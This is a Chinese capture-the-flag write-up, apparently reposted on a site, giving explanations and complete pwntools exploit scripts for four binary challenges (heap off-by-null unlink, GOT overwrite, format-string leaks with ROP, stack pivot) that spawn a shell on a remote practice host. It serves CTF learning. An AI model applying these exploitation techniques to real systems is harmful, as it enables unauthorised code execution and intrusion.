[金盾杯 2024] PWN 复现

好长时间不作题了,在复现平台上看到这个比赛,作了一下,题过于简单了。不过密码一言难尽。

Orange

要说libc-2.23有多老,我一开始学PWN的时候还有不少,这两年几乎不见了。一些比赛估计是拿的旧题。

远看像个堆题,有add,edit,show但没有free。后来搜了下网上的WP也是当堆题作的。但我感觉不是。至少跟堆没大关系。

在bss里存的list在16个指针后边是chunk_size.在edit时要求重新输入size这里就有个溢出。而最大问题是edit和show都可以输入index:16也就是指针溢出1.

所以这里可以不用堆来处理。由于PIE没开,建一个size= 0x602050地块,这个size就落在list[16]的位置。这时候show它一下就能得到libc不过也没啥用,因为题目有后门直接把这写成后门就成了。由于是后门不需要参数,所以可改的范围很大,这里改的是malloc,改别的也可以。

from pwn import *
context(arch='amd64', log_level='debug')#p = process('./Orange')
p = remote('gz.imxbt.cn', 20366)#add size = elf.got.malloc
p.sendlineafter(b"Please enter your choice>>", b'1')
p.sendlineafter(b"input your note size", str(0x602050).encode())
p.sendafter(b"input your note", b'A')#edit got.malloc->backdoor
p.sendlineafter(b"Please enter your choice>>", b'2')
p.sendlineafter(b'input note index\n', b'16')
p.sendlineafter(b"input your note size", str(8).encode())
p.sendafter(b"input your note", p64(0x400987))#call malloc
p.sendlineafter(b"Please enter your choice>>", b'1')
p.sendlineafter(b"input your note size", str(0x602050).encode())p.sendline(b"cat flag")
p.interactive()

babyheap

还是上边这个题,把size这块给堵上了。但给了free。这里free清理了指针,但在edit时用read_int函数会多写入1个\0

这个就是传统的unsort unlink,这堆题无非就是能修改不让改的地方。造重叠块是一个重要方法。2.23这东西检查不多。先释放一个块到unsort再把后边的pre_size和pre_inuse改了用off_by_null 。然后因为pie没开就直接把块建到指针区上,后边就直接改东西了。

这回改的是atoi

from pwn import *
context(arch='amd64', log_level='debug')elf = ELF('./babyheap')
libc = ELF('./libc-2.23.so')#read_input off by null
def add(size,msg=b'\n'): p.sendlineafter(b'Choose an option >> ', b'1')p.sendlineafter(b"How much do you want", str(size).encode())p.sendafter(b"Enter something?", msg)def edit(idx,msg):p.sendlineafter(b'Choose an option >> ', b'2')p.sendlineafter(b"input index", str(idx).encode())p.sendafter(b"Enter something?", msg)def show(idx):p.sendlineafter(b'Choose an option >> ', b'3')p.sendlineafter(b"Give me a index.Let you see see\n", str(idx).encode())def free(idx):p.sendlineafter(b'Choose an option >> ', b'4')p.sendlineafter(b"input index", str(idx).encode())#p = process('./babyheap')
p = remote('gz.imxbt.cn', 20377)add(0x80)
add(0x68)
add(0xf8)
add(0x18)# 1:free->unsort
free(0)
# 2:edit pre_size,pre_inused
edit(1, b'\0'*0x60 + p64(0x100))
# 3:free->forward
free(2)free(1)
add(0xa0, b'\0'*0x88+flat(0x71, 0x6020a0-3)+b'\n')add(0x68)
add(0x68, b'\0'*3 + flat(0,0,0x6020d0,0x602140, elf.got['atoi'], elf.got['puts'])+b'\n')show(3)
libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")
edit(2, p64(libc.sym['system']))p.sendline(b'/bin/sh\0')p.sendline(b"cat flag")
p.interactive()

green

这比赛不仅有2.23还有32的题。

这题主体是gets-printf-gets 两个危险函数都有了,printf可以得到所有想要的值。主要是canary后边gets就能溢出去写ROP了。

题目可能原先是在环境变量里放flag而复现平台上是文件。所以作法应该不一样。

原来是先泄露canary和加载地址然后调用check...就行了。后来需要泄露libc查libc版本。是个2.35的显然是后配上的。

from pwn import *
context(arch='i386', log_level='debug')elf = ELF('./green')
libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')#p = process('./green')
p = remote('gz.imxbt.cn', 20382)p.sendlineafter(b"Every protection is enabled. Good luck.\n", b"%15$p %19$p %23$p ")
canary = int(p.recvuntil(b' '),16)
elf.address = int(p.recvuntil(b' '),16) - (0x1365+77)
libc.address = int(p.recvuntil(b' '),16) - 0x21519 #0x23295
print(f"{canary = :x} {elf.address = :x} {libc.address = :x}")#1 not found
pop = elf.address + 0x1224
#p.sendlineafter(b'\n', b'A'*0x20 + flat(canary,0,0,0, elf.sym['check1'],pop, 4919, elf.sym['check2'],pop,1056, elf.sym['check3'],pop,0xDEADBEEF, elf.sym['finalcheck'],pop, 291))#get version
#p.sendlineafter(b'\n', b'A'*0x20 + flat(canary,0,0,0, elf.sym['func']))
#p.sendlineafter(b"Every protection is enabled. Good luck.\n", b"%8$s"+p32(elf.got['printf']))
#p.recvline()bin_sh = libc.address + 0x1b90d5
system = libc.address + 0x47cd0
p.sendlineafter(b'\n', b'A'*0x20 + flat(canary,0,0,0, system,0, bin_sh))
p.sendline(b'cat flag')
p.interactive()

stackmigration

read有个溢出,正好溢出到返回地址。而且泄露了栈地址。只要移栈到开头调用下system就行。

from pwn import *
context(arch='amd64', log_level='debug')p = remote('gz.imxbt.cn', 20398)p.recvuntil(b'gift:')
stack = int(p.recvline(),16) 
print(f"{stack = :x}")pop_rdi = 0x400963
leave_ret = 0x400896p.sendafter(b"?\n", flat(pop_rdi, stack+0x18,elf.plt['system'],b'/bin/sh\0', stack-0x8, leave_ret))
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/63239.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

pytest入门九:feature

fixture是pytest特有的功能,用以在测试执行前和执行后进行必要的准备和清理工作。使用pytest.fixture标识,定义在函数前面。在你编写测试函数的时候,你可以将此函数名称做为传入参数,pytest将会以依赖注入方式,将该函数…

uniapp Vue3 语法实现浏览器中音频录制、停止、保存、播放、转码、实时音频输出

一、引言 在现代 Web 应用开发中,音频处理功能变得越来越重要。本文将详细介绍如何使用 uniapp 结合 Vue3 语法在浏览器环境中实现音频录制、停止、保存、播放、转码以及实时音频输出等一系列功能。通过深入剖析代码结构和功能实现细节,帮助读者全面理解和掌握相关技术,以便…

【jpa】会什么jpa会自动新建一个hibernate_sequence表

目录 1. 说明2. 主键生成策略3. hibernate_sequence表的创建4. 如何避免自动创建hibernate_sequence表 1. 说明 1.JPA(Java Persistence API)在默认情况下,如果使用Hibernate作为持久化框架,并且没有显式指定主键生成策略&#x…

秒优科技-供应链管理系统 login/doAction SQL注入漏洞复现

0x01 产品简介 秒优科技提供的供应链管理系统,即秒优SCM服装供应链管理系统,是一款专为服装电商企业设计的全方位解决方案。是集款式研发、订单管理、物料管理、生产管理、工艺管理、收发货管理、账单管理、报表管理于一体的服装电商供应链管理解决方案。它涵盖了从企划到开…

【TF-IDF】Hugging Face Model Recommendation System

利用了机器学习技术的模型检索 TF-IDF (Term Frequency-Inverse Document Frequency) 文本特征提取例子This project is a Hugging Face Model Recommendation System designed to assist users in discovering the most suitable models based on their task descriptions. Th…

136.WEB渗透测试-信息收集-小程序、app(7)

免责声明:内容仅供学习参考,请合法利用知识,禁止进行违法犯罪活动! 内容参考于: 易锦网校会员专享课 上一个内容:135.WEB渗透测试-信息收集-小程序、app(6) 进入之后我们通过输入…

samout llm解码 幻觉更低更稳定

这段代码定义了一个简单的对话生成系统,包括模型加载、词汇表加载、以及基于给定提示生成文本的功能。下面是对代码的解析: load_model_and_voc(device"cpu"): 该函数用于加载预训练的模型和词汇表(vocabulary)。它首先…

K近邻原理和距离

K近邻 基本思想欧氏距离算法流程代码基于近邻用户的协同过滤基于近邻物品的协同过滤杰卡德相似度 基本思想 我们根据涂色样本点和未涂色样本点 X 的距离给涂色样本点编号1-6,即:1号样本点距离X最近,其余次之。 那么问题来了:样本…

Transformer 中 Self-Attention 的二次方复杂度(Quadratic Complexity )问题及改进方法:中英双语

Transformer 中 Self-Attention 的二次方复杂度问题及改进方法 随着大型语言模型(LLM)输入序列长度的增加,Transformer 结构中的核心模块——自注意力机制(Self-Attention) 的计算复杂度和内存消耗都呈现二次方增长。…

模型 A/B测试(科学验证)

系列文章 分享 模型,了解更多👉 模型_思维模型目录。控制变量法。 1 A/B测试的应用 1.1 Electronic Arts(EA)《模拟城市》5游戏网站A/B测试 定义目标: Electronic Arts(EA)在发布新版《模拟城…

Java修饰符详解:从基础到高级用法

在Java编程语言中,有许多修饰符可以使用,它们大致可以分为两大类:访问控制修饰符、其他类型的修饰符。 这些修饰符主要用于指定类、方法或变量的特性,并且通常位于声明语句的开头部分。下面通过一些示例来进一步说明这一点&#…

onnx文件转pytorch pt模型文件

onnx文件转pytorch pt模型文件 1.onnx2torch转换及测试2.存在问题参考文献 从pytorch格式转onnx格式,官方有成熟的API;那么假如只有onnx格式的模型文件,该怎样转回pytorch格式? https://github.com/ENOT-AutoDL/onnx2torch提供了…

Git merge 和 rebase的区别(附图)

在 Git 中,merge 和 rebase 是两种用于整合分支变化的方法。虽然它们都可以将一个分支的更改引入到另一个分支中,但它们的工作方式和结果是不同的。以下是对这两者的详细解释: Git Merge 功能:合并分支,将两个分支的…

【Web】0基础学Web—js运算符、选择结构、循环结构

0基础学Web—js运算符、选择结构、循环结构 js运算符选择结构循环结构 js运算符 算术运算符: - * / %取余 赋值运算符: - * / % 单目运算符: i i --i i– 单独使用是自增1 或 自减1 如果被使用&#xff0c;先看到啥先操作啥 比较运算符&#xff1a; > 、 >、 < 、…

系列3:基于Centos-8.6 Kubernetes使用nfs挂载pod的应用日志文件

每日禅语 古代&#xff0c;一位官员被革职遣返&#xff0c;心中苦闷无处排解&#xff0c;便来到一位禅师的法堂。禅师静静地听完了此人的倾诉&#xff0c;将他带入自己的禅房之中。禅师指着桌上的一瓶水&#xff0c;微笑着对官员说&#xff1a;​“你看这瓶水&#xff0c;它已经…

tkdiff安装:Linux下文本对比工具

tkdiff在Linux下源码安装 1.下载解压2.编译安装3.配置环境变量4.验证及运行 本文&#xff0c;在Linux下使用源码安装tkdiff工具&#xff0c;以tkdiff-4.2版本为例&#xff0c;其他版本根据需要替换即可。 1.下载解压 去 http://sourceforge.net/projects/tkdiff/files/tkdiff…

耐蚀镍基合金的焊接技术与质量控制

耐蚀镍基合金是一类在腐蚀环境中具有优异性能的合金材料&#xff0c;广泛应用于化工、海洋工程、石油天然气等领域。其焊接技术与质量控制对于确保合金的使用性能和安全性至关重要。以下是对耐蚀镍基合金焊接技术与质量控制的详细探讨。 一、焊接技术 焊条选择 耐蚀镍基合金的焊…

Django REST framework(DRF)在处理不同请求方法时的完整流程

文章目录 一、POST 请求创建对象的流程二、GET 请求获取对象列表的流程三、GET 请求获取单个对象的流程四、PUT/PATCH 请求更新对象的流程五、自定义方法的流程自定义 GET 方法自定义 POST 方法 一、POST 请求创建对象的流程 请求到达视图层 方法调用&#xff1a; dispatch说明…

机器视觉与OpenCV--01篇

计算机眼中的图像 像素 像素是图像的基本单位&#xff0c;每个像素存储着图像的颜色、亮度或者其他特征&#xff0c;一张图片就是由若干个像素组成的。 RGB 在计算机中&#xff0c;RGB三种颜色被称为RGB三通道&#xff0c;且每个通道的取值都是0到255之间。 计算机中图像的…

qemu源码解析【03】qom实例

目录 qemu源码解析【03】qom实例arm_sbcon_i2c实例 qemu源码解析【03】qom实例 arm_sbcon_i2c实例 以hw/i2c/arm_sbcon_i2c.c代码为例&#xff0c;这个实例很简单&#xff0c;只用100行左右的代码&#xff0c;调用qemu系统接口实现了一个i2c硬件模拟先看include/hw/i2c/arm_s…